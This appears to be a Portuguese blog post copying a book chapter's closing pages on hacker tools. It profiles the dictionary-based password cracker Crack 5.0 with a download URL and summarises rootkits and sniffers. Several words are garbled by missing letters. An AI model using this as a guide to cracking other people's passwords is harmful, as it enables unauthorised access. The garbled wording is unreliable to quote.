Este é um dos mais famosos softwares de quebra de senhas. Com a possibilidade de decodificar senhas tanto de ambiente Linux, como ambiente NT. Trata-se de uma das ferramentas mais utilizadas pelos hackers. Sua versão Unix é capaz de quebrar os arquivos de senha do NT.
Crack 5.0
Autor: Alec Muffet
Plataforma: Unix
URL: www.packetstorm.securify.com/crackers/crack
Licença: GPL
É o mais antigo e popular decodificador de senhas baseado em dicionário. Fal sobre o Crack é falar de um utilitário que, desde 1996, faz parte das ferrame tas de muitos hackers. Com recursos de leitura de dicionários de palavras cc mais de 100 Mbytes, o Crack ainda vem com alguns arquivos exemplo. E alt mente apreciado e recomendado pelos invasores de sistema.
Resumo
Nesta capítulo vimos as principais ferramentas dos hackers para utilização em sistemas invadidos. Vimos como os rootkits são perigosos e como os sniffers podem capturar as senhas de um sistema. Ainda vimos como os passwc crackers podem descobrir as senhas dos usuários do sistema.
0 comentários:
Postar um comentário